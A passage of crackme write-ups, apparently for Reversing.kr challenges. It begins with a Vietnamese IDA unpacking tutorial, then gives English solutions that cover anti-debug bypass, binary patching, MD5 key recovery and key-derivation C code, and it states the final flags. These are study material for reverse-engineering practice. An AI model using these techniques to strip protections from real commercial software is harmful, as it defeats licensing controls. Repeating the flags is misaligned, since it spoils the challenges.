Đây là các thiết lập mặc định của IDA để chuyển đổi giữa các kiểu byte, word và dword khi nhấn D, tuy nhiên ta cũng có thể cấu hình thêm các loại dữ liệu khác nếu cần thiết. Trong trường hợp này của unpackme, ta cần không thực hiện việc thay đổi kiểu dữ liệu nữa mà thực hiện chuyển đổi các dữ liệu này sang các lệnh assembly. Để thực hiện việc chuyển đổi này, IDA hỗ trợ phím tắt C hoặc vào Edit > Code:

2016-04-16_17-11-40

Fig.10

Kết quả có được như sau:

2016-04-16_17-13-25

Fig.11

Ta thấy rằng, dữ liệu đã được chuyển thành một lệnh nhảy tới địa chỉ thuộc section đầu tiên, bắt đầu từ 400000 và kết thúc tại 401000. Vì IDA đã không nhận diện được code chuẩn ngay từ đầu nên lệnh nhảy này cũng không cho ta nhiều thông tin, chọn địa chỉ 400158 và nhấn Enter để follow cũng không tới được địa chỉ đó. Nếu như chúng ta sử dụng trình debugger như OllyDBG thì hoàn toàn có thể tới được địa chỉ trên:

2016-04-16_17-28-16

Fig.12

Tuy nhiên, mục tiêu của bài viết là sử dụng IDA để thực hiện nên ta sẽ làm theo cách khác. Ta sẽ thay đổi cách load file với tùy chọn Manual load như đã thấy trong phần Options của IDA. Mở lại unpackme, lựa chọn như hình minh họa:

2016-04-16_17-35-49

Fig.13

Tùy chọn Manual load cho phép ta quyết định sections nào sẽ được load vào IDA thay vì để IDA tự động load toàn bộ, việc bỏ tùy chọn Create imports segment sẽ loại bỏ cảnh báo của IDA về việc IAT bị hủy. Sau khi cấu hình như trên, nhấn OK để tiếp tục:

2016-04-16_17-42-20

Fig.14

IDA yêu cầu nhập địa chỉ của ImageBase. Ta giữ nguyên không thay đổi, nhấn OK để tiếp tục, IDA sẽ yêu cầu xác nhận việc nạp các sections và file header:

2016-04-16_17-44-24

Fig.15

2016-04-16_17-44-24

Fig.16

2016-04-16_17-46-15

Fig.17

Nhấn Yes để xác nhận, sau khi IDA load xong, nhấn C để chuyển dữ liệu sang code:

2016-04-16_17-54-27

Fig.18

Như đã thấy trên hình, địa chỉ 400158 đã được IDA nhận dạng là một location cụ thể, nhấn đúp chuột vào địa chỉ này ta tới vùng code bắt đầu tại địa chỉ đó:

2016-04-16_17-57-47

Fig.19

Tại đây được IDA nhận là Header code, nhấn P để tạo function hoặc chọn Edit > Functions > Create function…

2016-04-16_20-06-06

Fig.20

Nhấn space bar để chuyển sang Graphic mode. Quan sát tại màn hình Graphic ta thấy có rất nhiều lệnh call và lệnh nhảy, các lệnh call đều liên quan đến thanh ghi ebx. Thanh ghi ebx được khởi tạo bởi hai lệnh mov esi, 40601Ch & mov ebx, esi:

2016-04-16_20-19-37

Fig.21

Quan sát giá trị tại 0x40601C xem có thông tin gì:

2016-04-16_20-23-40

Fig.22

Nhấn D để chuyển đổi kiểu dữ liệu về giá trị dword:

2016-04-16_20-25-34

Fig.23

Chuyển tới địa chỉ 0x400130, quan sát tại đây có thể thấy rằng vùng code thể hiện thông tin của các sections tương ứng với thông tin mà ta thấy được khi xem bằng DIE:

2016-04-16_20-36-44

Fig.24

Tên của section thứ nhất (“MEW”) thì rõ ràng rồi, nhưng tên của section thứ hai thì nhìn rối rắm và dường như nó đã được encrypt hoặc có thể chứa thông tin gì đó. Chọn tên section này và thử nhấn C để chuyển sang mã lệnh, ta thấy có lệnh được ẩn trong chuỗi tên:

2016-04-16_20-46-51

Fig.25

Ta thấy có hai lệnh nhảy tới hai địa chỉ là 400108+7 và 400108+4, các địa chỉ này đều nằm giữa chuỗi tên của section thứ nhất, để có thông tin cụ thể về các địa chỉ này ta cần phải undefine vùng địa chỉ chứa tên của section thứ nhất. Chọn địa chỉ 0x400108 và nhấn phím U:

2016-04-16_21-05-16

Fig.26

Sau khi undefine, ta thấy tên của section thứ nhất chính xác chỉ từ 0x400108 đến 0x40010B, còn các vùng từ 0x40010C tới 0x40010F là vùng dữ liệu được IDA đánh dấu là unk (unknown). Để chỉnh sửa lại cho chính xác, nhấn C để chuyển đổi vùng đó thành code:

2016-04-16_21-19-48

Fig.27

Sau khi chuyển đổi thành công thì đoạn code tại 0x400130 cũng thay đổi theo:

2016-04-16_21-23-31

Fig.28

Thông tin thu được khá hữu ích rồi, tuy nhiên để tiếp tục ta phải sử dụng tới việc debug. Lựa chọn trình debugger như hình:

2016-04-16_21-32-57

Fig.29

Quay lại lệnh nhảy tới sub_400158, nhấn F2 để đặt một breakpoint:

2016-04-16_21-34-46

Fig.30

Sau khi đặt bp xong, nhấn F9 để run unpackme, ta sẽ dừng lại tại bp:

2016-04-16_21-40-13

Fig.31

Nhấn F7 để trace tới sub_400158:

2016-04-16_21-41-43

Fig.32

2016-04-16_21-43-10

Fig.33

Tại màn hình debug của IDA, nhấn Shift+F7 để mở cửa sổ Segments. Quan sát tại cửa sổ này ta thấy thông tin về các sections của file. Thông thường, dưới thông tin về PE header sẽ là section .text (ở đây có thể là section MEW(đã bị packer đổi tên)):

2016-04-16_22-01-59

Fig.34

Theo thông tin cửa sổ Segments cung cấp thì section MEW bắt đầu từ 0x401000 và kết thúc tại 0x406000, vậy size của section này là 0x5000. Tiếp theo, mở cửa sổ Breakpoint lists (Ctrl+Alt+B) để thiết lập một bp tương tự như ta đặt memory bp trong OllyDBG. Tại cửa sổ Breakpoints, nhấn Ins để thiết lập thêm một bp như sau:

2016-04-17_1-24-04

Fig.35

Với thông tin như trên, ta sẽ thiết lập một bp tại section đầu tiên (thường là section chứa OEP), nơi mà code sẽ được ghi vào để xem code được decompress tại section đó như thế nào. Ở đây ta chọn section MEW tại 0x401000 và kích thước là 0x5000 để yêu cầu dừng lại khi đạt tới kích thước đã thiết lập. Sau khi đặt xong, nhấn F9 để thực thi:

2016-04-16_22-28-09

Fig.36

Sau khi dừng lại tại bp, ta thấy code đã được decompress xong. Bước tiếp theo ta sẽ tiến hành dump toàn bộ file. Dựa trên thông tin từ màn hình Segments cung cấp, ta sẽ dump file bắt đầu từ 0x400000 tới 0x407004. Để dump được ta sử dụng idc script sau:

static main()
{
auto fp, ea;
fp = fopen("test00_dump.bin", "wb");
for ( ea=0x400000; ea < 0x407004; ea++ )
  fputc(Byte(ea), fp);
}

Tại IDA, nhấn Shift+F2 để mở cửa sổ thực thi script, copy&paste đoạn script trên vào, sau đó nhấn Run để thực hiện:

2016-04-17_1-36-22

Fig.37

Kết quả, ta có file được dump ra là test00_dump.bin nằm cùng thư mục của unpackme:

2016-04-17_1-40-01

Fig.38

Sử dụng PEditor để mở file vừa được dump:

2016-04-17_1-42-02

Fig.39

Nhấn sections để xem thông tin về các section, chuột phải tại section MEW và chọn:

2016-04-17_1-44-59

Fig.40

Sau khi dump xong, đổi .bin thành .exe:

2016-04-17_1-48-53

Fig.41

Bước cuối cùng của quá trình unpack chính là fix IAT. Mở Scylla và chọn process test00.exe. Chỉnh lại OEP thành 0x401000, sau đó nhấn IAT Autosearch:

2016-04-17_1-53-28

Fig.42

OK Scylla đã tìm thấy thông tin của IAT, tiếp theo nhấn Get Imports để nhận các APIs:

2016-04-17_1-56-59

Fig.43

Tìm thấy 19 hàm APIs mà unpackme sử dụng, không có invalid. Nhấn Fix Dump để thực hiện fix cho file test00_dump.exe:

IDA_19funcs

Fig.44

OK, vậy là quá trình rebuild thành công, Scylla tạo ra file mới là test00_dump_SCY.exe. Chạy file đã fix kết quả như sau:

2016-04-17_2-02-57

Fig.45

Vậy là quá trình unpack đã thành công!!

2016-04-21_18-33-26


1.1. First solution

Rule in Readme.txt:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
AuthKey = un_md5(DecryptKey) + " " + un_md5(EXE's Key)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ex:)
 DecryptKey = 1dfb6b98aef3416e03d50fd2fb525600
 EXE's  Key = c944634550c698febdd9c868db908d9d
 => AuthKey = visual studio
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Scan this target by ExeInfo PE:

Krchal131

Figure 1

We have “AutoHotkey v1.0.48.05 – AutoIt3 v2.x.x” and ExeInfo recommend us use Exe2Aut to Unpack/Decompile this target. Ok, let’s try to use ExeInfo and here is the result:

Krchal132

Figure 2

Open _myExeToAut.log in the same directory, we will have the first MD5 key “220226394582d7117410e3c021748c2a

================================================================================
-=  myExe2Aut >The Open Source Autoit/AutoHotKey Script Decompiler< 1.92 build(54) =- ================================================================================ Unpacking: C:\Documents and Settings\manowar\Desktop\Reversing.kr\Chal13\ahk.exe AU3_Signature: A3 48 4B BE 98 6C 4A A9 99 4C 53 0A 86 D6 48 7D £HK¾˜lJ©™LS †ÖH} Script Type 3.0 found. 00032813 -> SubType: 0x03   áú
~ Note:  The following offset values are were the data ends (and not were it starts) ~
Script is password protected!
00032834 -> Password/MD5PassphraseHash: 3232303232363339343538326437313137343130653363303231373438633261
            220226394582d7117410e3c021748c2a
MD5PassphraseHash_ByteSum: 0000075D  '+ 22AF' => decryption key!

Open another file is ahk.ahk, we get the second key “54593f6b9413fc4ff2b4dec2da337806”:

;<COMPILER: v1.0.48.5>
inputbox,pwd
if (pwd== "54593f6b9413fc4ff2b4dec2da337806"){
MsgBox
}

Open https://hashkiller.co.uk/md5-decrypter.aspx to decrypt above MD5 keys:

Krchal133

Figure 3

Krchal134

Figure 4

Finally, the right Flag is: isolated pawn

1.2. Second solution

Scan this target by RDG Packer Detector:

Krchal135

Figure 5

RDG shows this target is packed by UPX. Let’s try to use UPX to unpack:

Krchal136

Figure 6

Run unpacked file, we get the error messages:

Krchal137

Figure 7

Let’s open OllyDBG and load packed file, scroll down and put BP at “00471BD9 ^\E9 710FFDFF     jmp     ahk.00442B4F” to manual unpack it:

Krchal138

Figure 8

F9 to run, we stop at BP. F8 to trace over, we stop here:

Krchal139

Figure 9

Search all referenced text strings to find “EXE corrupted”:

Krchal1310

Figure 10

Double click on the ASCII “EXE corrupted“, we go to the following address: 0x00448273. Scroll up, we can see the jump that will bypass the error message at “00448265 |. /74 16 je short ahk.0044827D”. So we need to place a breakpoint at the call before this jump:

Krchal1311

Figure 11

Then press F9, we’ll stop at bp. Press F7 to trace into this call, then F8 to trace over, the routine will show us the address that store the decryption key:

Krchal1312

Figure 12

After finish the call at “0044825E |. E8 64860000 call ahk.004508C7 ; \ahk.004508C7”, we back to the jump that will bypass the the error message at “00448273 |. 68 34E34500   push   ahk.0045E334 ; ASCII "EXE corrupted"” and stop here:

Krchal1313

Figure 13

This routine will decompile the file with the decryption key above. After trace over the call at address “00448293 |. E8 078A0000   call   ahk.00450C9F ; \ahk.00450C9F” and follow in dump the address at ECX register, we’ll have the exe’s key:

Krchal1314

Figure 14

Finally, visit https://hashkiller.co.uk/md5-decrypter.aspx to decrypt above keys that we get!

End.


The content of Readme.txt file: Twist1.exe is run in x86 windows.

Run Twist1.exe and input fake flag:

Krchal121

Figure 1

Let’s open the target in OllyDBG, search all referenced text strings, we have nothing useful information:

Krchal122

Figure 2

Maybe all strings are encrypted and will be decrypt at runtime. Press F9 to run and search again:

Krchal123

Figure 3

Double-click on the “ASCII “Correct!”,LF”, scroll up and set HWBP on Execute at 00401270   E8 EBFEFFFF call   <Twist1.Nop_call>

Krchal124

Figure 4

Restart OllyDBG and press F9 again, we will break at bp. Trace over these calls like the figure bellow and input the fake flag:

Krchal125

Figure 5

After input fake flag and press enter, we will back to OllyDBG. Then trace into this call:

004012C6       E8 75FFFFFF             call   Twist1.00401240

Krchal126

Figure 6

The input flag will be saved to another location, like this:

Krchal127

Figure 7

After the above loop, the unconditional jump will to 0040720D. At 0040720D, the routine will set some values to 00409150 address. If change these value to disassemble, we have this code:

00409150    B8 9A000000     mov     eax, 0x9A
00409155    BA 0003FE7F     mov     edx, 0x7FFE0300
0040915A    FF12            call    dword ptr [edx]
0040915C  - E9 D41FA400     jmp     00E4B135

At 00407294 address, we see the call to this address: call Twist1.00409150. This call will make debug is crashed. So need some tricks to bypass this call and unconditional jump, we will stop at 004072CF /E9 5C010000 jmp Twist1.00407430:

Krchal128

Figure 8

Continue to bypass some calls and checks that make crash when debug:

Krchal129

Figure 9

We go to the routine that take the seventh character of InputFlag to bl, xor bl with 0x36 and save to ds:[0040C450]:

Krchal1210

Figure 10

Then the value at [0040C450] will be compared with 0x36, if not equal will exit routine. So we know that the seventh character of InputFlag must be null value and the length of InputFlag is six:

Krchal1211

Figure 11

Next, we will see the validation code for each characters of InputFlag.

  • 1st character:
0040760D     33C0             xor     eax, eax       ; eax = 0
0040760F     A0 90B94000     mov     al, byte ptr [0x40B990]; al = InputFlag[0] (1st char of InputFlag)
00407614     E8 12000000      call    Twist1.0040762B
0040762B     33D2             xor     edx, edx       ; edx = 0
0040762D     C0C8 06          ror     al, 0x6        ; rotate 6 bits right in al
00407630     A2 00B04000      mov     byte ptr [0x40B000], al      ; save al to [0040B000]
00407700     8A0D 00B04000    mov     cl, byte ptr [0x40B000]   ; cl = [0040B000]
004076D0     80F9 49          cmp     cl, 0x49                  ; cl = 0x49?
004076D3     0F85 2C020000    jnz     &lt;Twist1.exit_routine&gt;

The following pseudo code:

InputFlag[0] ror 0x6 = 0x49 -&gt; InputFlag[0] = 0x49 rol 0x6 = 0x52 (‘R’)
  • 3rd character:
00407750     880D E0CC4000    mov     byte ptr [0x40CCE0], cl  ; [0x40CCE0] = InputFlag[2]
0040777D     33C0             xor     eax, eax              ; eax = 0
0040777F     8BC8             mov     ecx, eax              ; ecx = 0
00407781     8BD0             mov     edx, eax              ; edx = 0
00407783     A0 E0CC4000      mov     al, byte ptr [0x40CCE0] ; al = InputFlag[2] (2nd char of InputFlag)
00407788     34 77            xor     al, 0x77    ; al = al ^ 0x77
004077A3     3C 35            cmp     al, 0x35    ; al = 0x35?
004077A5     75 59            jnz     short &lt;Twist1.exit_routine&gt;

The following pseudo code:

InputFlag[2] ^ 0x77 = 0x35 -&gt; InputFlag[2] = 0x35 ^ 0x77 = 0x42 (‘B’)
  • 2nd character:
0040780C     8B0D 80CD4000    mov     ecx, dword ptr [0x40CD80]   ; ecx = InputFlag[1]
004077AC     80F1 20          xor     cl, 0x20                    ; cl = cl ^ 0x20
004077C5     80F9 69          cmp     cl, 0x69                    ; cl = 0x69?
004077C8   ^ 75 F0            jnz     short Twist1.004077BA

The following pseudo code:

InputFlag[1] ^ 0x20 = 0x69 -> InputFlag[1] = 0x69 ^ 0x20 = 0x49 (‘I’)
  • 4th character:
00407838     33C0             xor     eax, eax          ; eax = 0
0040783A     33C9             xor     ecx, ecx          ; ecx = 0
0040783C     33D2             xor     edx, edx          ; edx = 0
0040783E     8A15 F4CC4000    mov     dl, byte ptr [0x40CCF4]   ; dl = InputFlag[3]
00407844     8AC2             mov     al, dl            ; al = dl
00407846     A2 00C44000      mov     byte ptr [0x40C400], al   ; [0040C400]=al
00407829     8A15 00C44000    mov     dl, byte ptr [0x40C400]
0040790E     8A15 01C44000    mov     dl, byte ptr [0x40C401]   ; dl = InputFlag[3]
00407914     80F2 21          xor     dl, 0x21          ; dl = dl ^ 0x21
00407917     C3               retn
00407918     80FA 64          cmp     dl, 0x64          ; dl = 0x64?
0040791B     0F84 AD040000    je      Twist1.00407DCE

The following pseudo code:

InputFlag[3] ^ 0x21 = 0x64 -> InputFlag[3] = 0x64 ^ 0x21 = 0x45 (‘E’)
  • 5th character:
004077D1     8B15 F0CC4000    mov     edx, dword ptr [0x40CCF0]  ; edx = InputFlag[4]
004077D7     8915 30CD4000    mov     dword ptr [0x40CD30], edx  ; ds:[0040CD30]=edx
00407DCE     8A15 30CD4000    mov     dl, byte ptr [0x40CD30]    ; dl = InputFlag[4]
00407E02     80F2 46          xor     dl, 0x46                   ; dl = dl ^ 0x46
00407E19     58               pop     eax
00407E1A     3C 08            cmp     al, 0x8
00407E1C    /75 02            jnz     short Twist1.00407E20

The following pseudo code:

InputFlag[4] ^ 0x46 = 0x8 -> InputFlag[4] = 0x8 ^ 0x46 = 4E (‘N’)
  • 6th character:
0040778C     8A0D E4CC4000    mov     cl, byte ptr [0x40CCE4]      ; cl = InputFlag[5]
00407792     880D F4CF4000    mov     byte ptr [0x40CFF4], cl
004078A6     C005 F4CF4000 04 rol     byte ptr [0x40CFF4], 0x4     ; rotate 4 bits left (0x40CFF4 contains 5th char of InputFlag)
00407F77     8A15 F4CF4000    mov     dl, byte ptr [0x40CFF4]
00407F7D     C605 777F4000 FD mov     byte ptr [0x407F77], 0xFD
00407F84     80FA 14          cmp     dl, 0x14                    ; dl = 0x14?
00407F87     75 36            jnz     short Twist1.00407FBF

The following pseudo code:

InputFlag[5] rol 0x4 = 0x14 -> InputFlag[5] = 0x14 ror 0x4 = 0x41 (‘A’)

Finally, we have the correct flag is : “RIBENA”.

End.


Run FPS.exe, we will start the game with a gun:

Krchal111

Figure 1

Use direction key to move character, we will see the strange doll. They can not die if we shoot them. The game will end if we touch them :).

Krchal112

Figure 2

Let’s use IDA and OllyDBG combination to analyse target. In OllyDBG, search all referenced text strings, we find the “Game Clear” string:

Krchal113

Figure 3

Double clicking on this string will bring us to the routine:

Krchal114

Figure 4

In IDA we have:

Krchal115

Figure 5

With this information, we can see that the text in message box is encrypted. So we need to decrypt this string. Follow in Dump in OllyDBG:

Krchal116

Figure 6

In IDA, select this text and press “X” to find another routine references to it.

Krchal117

Figure 7

Double clicking on sub_403400+2D:

Krchal118

Figure 8

This routine will be used to decrypt the text of message box. First, we see that the eax register is used as index of encrypted string, I named it is Msg_text. Value of eax is set by the call sub_403440, so that eax will have values in range [0…52], ecx = eax * 0x210. Ecx register is used as specific offset to set value to cl, then use xor to decrypt: Msg_txt[eax] = Msg_txt[eax] ^ cl. This is the pseudo-code for the snippet:

unsigned int sub_403400()
{
unsigned int i; // eax@1
unsigned int j; // ecx@2
int v2; // edx@2

i = sub_403440();
if ( i != 0xFFFFFFFF )
{
	j = 0x84 * i;
	v2 = dword_409190[0x84 * i];
	if ( v2 &gt; 0 )
	{
		dword_409190[j] = v2 - 2;
	}
	else
	{
		dword_409194[j] = 0;
		Msg_text[i] ^= byte_409184[j * 4];
	}
}
return i;
}

Try to set bp and debug in OllyDBG, we know cl register will have value is 0x0, 0x4, 0x8, 0xC,…

Krchal119

Figure 9

Here is the code to find the Flag:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    unsigned char encrypted_str[52]={0x43, 0x6B, 0x66, 0x6B, 0x62, 0x75, 0x6C, 0x69, 0x4C, 0x45, 0x5C, 0x45, 0x5F, 0x5A, 0x46, 0x1C, 0x07, 0x25, 0x25, 0x29, 0x70, 0x17, 0x34, 0x39, 0x01, 0x16, 0x49, 0x4C, 0x20, 0x15, 0x0B, 0x0F, 0xF7, 0xEB, 0xFA, 0xE8, 0xB0, 0xFD, 0xEB, 0xBC, 0xF4, 0xCC, 0xDA, 0x9F, 0xF5, 0xF0, 0xE8, 0xCE, 0xF0, 0xA9, 0x00};
    unsigned char flag[100]={0};
    int i=0;

    for (i=0; encrypted_str[i]!=0;i++)
    {
        flag[i] = encrypted_str[i] ^ (i*4);
    }
    flag[i] = '\x00';

    printf("The right flag is: %s", flag);
    return 0;
}

Krchal1110

Figure 10

End.


Use any PE Detector to quickly scan target:

Krchal101

Figure 1

Okay, it’s a .NET exe file. Run file to get information:

Krchal102

Figure 2

Huh, it displays a bank form :(. Let’s open target in dnSpy:

Krchal103

Figure 3

Right click to CSHOP and select “Go to Entry Point”:

Krchal104

Figure 4

Click FrmMain, we go here:

Krchal105

Figure 5

Follow InitializeComponent() function we’ll see two EventHandlers are _Click and Form1_Load:

Krchal106

Figure 6

Krchal107

Figure 7

Look at Form1_Load, this routine sets all labels to empty:

Krchal108

Figure 8

Look at _Click, this routine sets each labels with one default character:

Krchal109

Figure 9

With the information above, we have string: W54RE6MIPSP6S. Try to use this string to authenticate at reversing.kr, we will get fail. Back to the top of InitializeComponent() to dig deeper:

this.\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD = new Button();
this.\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD.Location = new Point(165, 62); <- Set location of new button
this.\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD.Name = "btnStart"; <- Set button’s name
this.\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD.Size = new Size(0, 0); <- Set button’s size
this.\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD.TabIndex = 0;
this.\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD.UseVisualStyleBackColor = true;
this.\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD.Click += new EventHandler(this.\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD_Click);

A notable point in above code that sets the size of button to zero. Let’s use dnSpy to changes these values to (40, 40) like the picture bellow:

Krchal1010

Figure 10

After change, save to new file (ex: CSHOP_Patched.exe). Execute the patched file, we’ll see the button, click it to get the key:

Krchal1011

Figure 11

End.


Rule: Decrypt File (EXE)

Run target to get basic information:

Krchal91

Figure 1

Let’s open the target in OllyDBG, search all referenced text strings, we’ll get like this:

Krchal92

Figure 2

Follow 0x0044A775 address and set BP at 0044A792 |. FF15 B8C04400 call dword ptr [<&MSVCR100.scanf>]; \scanf:

Krchal93

Figure 3

Press F9 to run and input any key you like, then press enter, we’ll back to OllyDBG:

Krchal94

Figure 4

After target gets the input key, next it calculates the input key length:

Krchal95

Figure 5

Next, it opens the file whose name is specified in the parameter filename and mode is rb (read, binary file):

Krchal96

Figure 6

This target opens file that named file in the same directory to read in binary mode, then gets character from stream and stores to the buffer at 0x5415B8 address:

Krchal97

Figure 7

Compare values store at the buffer with the file content is opened with WinHex, we have the same values:

Krchal98

Figure 8

Next, we will see the snippet that use the input key to decrypt the values are stored at the 0x5415B8 address. Let’s see how decryption routine performs:

Krchal99

Figure 9

This is the pseudo-code for the snippet:

For (i=0; i< sizeof(file); i++)
{
	FileContent[i] = FileContent[i] ^ InputKey[i] ^ 0xFF;
}

The decryption result:

Krchal910

Figure 10

Next, reopen file in write mode:

Krchal911

Figure 11

The next snippet takes each value from the buffer and writes back to file:

Krchal912

Figure 12

Content of file after write back:

Krchal913

Figure 13

Because the rule of this challenge is Decrypt File (EXE), so we know that the file after decrypt will be a normal exe file. As we know, the normal exe file has the valid PE header same as the picture bellow:

Krchal914

Figure 14

We also have the decryption algorithm in the previous analysis: FileContent[i] = FileContent[i] ^ InputKey[i] ^ 0xFF; so FileContent[i] must equal 0x4D, 0x5A, 0x90, etc. To find the InputKey we only need to do: ValidPEHeader[i] ^ FileContent[i] ^ 0xFF = InputKey[i]. Summarize we have calculation table like this:

Validheader[i] operator Filecontent[i] operator default value inputkey[i]
0x4D ^ 0xDE ^ 0xFF 0x6C (l)
0x5A ^ 0xC0 ^ 0xFF 0x65 (e)
0x90 ^ 0x1B ^ 0xFF 0x74 (t)
0x00 ^ 0x8C ^ 0xFF 0x73 (s)
0x03 ^ 0x8C ^ 0xFF 0x70 (p)
0x00 ^ 0x93 ^ 0xFF 0x6C (l)
0x00 ^ 0x9E ^ 0xFF 0x61 (a)
0x00 ^ 0x86 ^ 0xFF 0x79 (y)
0x04 ^ 0x98 ^ 0xFF 0x63 (c)
0x00 ^ 0x97 ^ 0xFF 0x68 (h)
0x00 ^ 0x9A ^ 0xFF 0x65 (e)
0x00 ^ 0x8C ^ 0xFF 0x73 (s)
0xFF ^ 0x73 ^ 0xFF 0x73 (s)
0xFF ^ 0x6C ^ 0xFF 0x6C (l)
0x00 ^ 0x9A ^ 0xFF 0x65 (e)
0x00 ^ 0x8B ^ 0xFF 0x74 (t)

Code in C:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    unsigned int valid_PE[16] = {0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00};
    unsigned int encrypted_PE[16] = {0xDE, 0xC0, 0x1B, 0x8C, 0x8C, 0x93, 0x9E, 0x86, 0x98, 0x97, 0x9A, 0x8C, 0x73, 0x6C, 0x9A, 0x8B};
    unsigned int defVal = 0xFF, i = 0;
    unsigned char key[16] = {0};

    for (i=0; i<16; i++)
    {
        key[i] = valid_PE[i] ^ encrypted_PE[i] ^ defVal;
    }

    printf("The decrypt key is: %s \n", key);
    return 0;
}

Okay, we have the decrypt key is: letsplaychess. Run program and input key we will have the decrypt file. Let’s rename file to add the exe extension. Use RDG Packer Detector to check file:

Krchal915

Figure 15

Ohhh, it’s packed by UPX. Using UPX to unpack file:

Krchal916

Figure 16

After unpack successful, run file to get the key:

Krchal917

Figure 17

End.


Load target to IDA and analyze, we’ll find the function that check the Input Serial. With the help of HexRays, we get the following pseudo code:

int check_Input()
{
  int result; // eax@2

  if ( szInput[1] == '1' )
  {
    szInput[0] ^= 0x34u;
    szInput[2] ^= 0x32u;
    szInput[3] ^= 0x88u;
    if ( szInput[4] == 'X' )
    {
      if ( szInput[5] )
      {
        result = 0;
      }
      else if ( szInput[2] == 0x7C )
      {
        if ( szInput[0] == 0x78 )
          result = szInput[3] == 0xDDu;
        else
          result = 0;
      }
      else
      {
        result = 0;
      }
    }
    else
    {
      result = 0;
    }
  }
  else
  {
    result = 0;
  }
  return result;
}

With the code above, we can identify the Input serial as follows:

szInput[0] ^= 0x34u == 0x78 --> szInput[0] = 0x78 ^ 0x34 = 0x4C = L
szInput[1] == '1' --> szInput[1] = 1
szInput[2] ^= 0x32u == 0x7C --> szInput[2] = 0x7C ^ 0x32 = 0x4E = N
szInput[3] = ^= 0x88u == 0xDDu --> szInput[3] = 0xDD ^ 0x88 = 0x55 = U
szInput[4] == 'X' --> szInput[4] = X

Finally, we have the key is: L1NUX

End.


Rule: Find the Name when the Serial is 76876-77776. This problem has several answers. Password is ***p

Krchal71

Figure 1

Scan this target with DIE (a PE detector), we have info:

Krchal72

Figure 2

After use IDA to analyze target, we will get all information related to the entire process of calculation and checking related to the Input Name that we entered.

signed int __stdcall sub_401740(int a1)
{
signed int k; // edi@1
char *v2; // ecx@2
signed int i; // esi@4
signed int j; // esi@8
__int16 v6; // bx@10
unsigned __int8 szName[0]; // al@15
unsigned __int8 iTemp1; // ST2C_1@15
unsigned __int8 szName[1]; // al@15
unsigned __int8 iTemp9; // bl@15
wchar_t *wcharBuf1; // eax@15
__int16 iBuf1; // di@15
__int16 szSerial[0]; // ax@15
wchar_t *wcharBuf2; // eax@16
__int16 szSerial[1]; // di@16
__int16 iBuf2; // ax@16
wchar_t *wcharBuf3; // eax@17
__int16 szSerial[2]; // di@17
__int16 iBuf3; // ax@17
wchar_t *wcharBuf4; // eax@18
__int16 szSerial[3]; // di@18
__int16 iBuf4; // ax@18
wchar_t *wcharBuf5; // eax@19
__int16 szSerial[4]; // di@19
__int16 iBuf5; // ax@19
unsigned __int8 szName[2]; // al@20
unsigned __int8 iTemp11; // ST2C_1@20
unsigned __int8 szName[3]; // al@20
unsigned __int8 iTemp19; // bl@20
wchar_t *wcharBuf6; // eax@20
__int16 szSerial[6]; // di@20
__int16 iBuf6; // ax@20
wchar_t *wcharBuf7; // eax@21
__int16 szSerial[7]; // di@21
__int16 iBuf7; // ax@21
wchar_t *wcharBuf8; // eax@22
__int16 szSerial[8]; // di@22
__int16 iBuf8; // ax@22
wchar_t *wcharBuf9; // eax@23
__int16 szSerial[9]; // di@23
__int16 iBuf9; // ax@23
wchar_t *wcharBuf10; // eax@24
__int16 szSerial[10]; // si@24
__int16 iBuf10; // ax@24
unsigned __int8 iTemp6; // [sp+10h] [bp-28h]@15
unsigned __int8 iTemp16; // [sp+10h] [bp-28h]@20
unsigned __int8 iTemp8; // [sp+11h] [bp-27h]@15
unsigned __int8 iTemp18; // [sp+11h] [bp-27h]@20
unsigned __int8 iTemp10; // [sp+13h] [bp-25h]@15
unsigned __int8 iTemp20; // [sp+13h] [bp-25h]@20
unsigned __int8 iTemp7; // [sp+14h] [bp-24h]@15
unsigned __int8 iTemp17; // [sp+14h] [bp-24h]@20
unsigned __int8 iTemp3; // [sp+19h] [bp-1Fh]@15
unsigned __int8 iTemp13; // [sp+19h] [bp-1Fh]@20
unsigned __int8 iTemp4; // [sp+1Ah] [bp-1Eh]@15
unsigned __int8 iTemp14; // [sp+1Ah] [bp-1Eh]@20
unsigned __int8 iTemp5; // [sp+1Bh] [bp-1Dh]@15
unsigned __int8 iTemp15; // [sp+1Bh] [bp-1Dh]@20
unsigned __int8 iTemp2; // [sp+1Ch] [bp-1Ch]@15
unsigned __int8 iTemp12; // [sp+1Ch] [bp-1Ch]@20
int szName; // [sp+20h] [bp-18h]@1
int szSerial; // [sp+24h] [bp-14h]@1
char buf; // [sp+28h] [bp-10h]@1
int iTemp; // [sp+34h] [bp-4h]@1

ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&szName);
k = 0;
iTemp = 0;
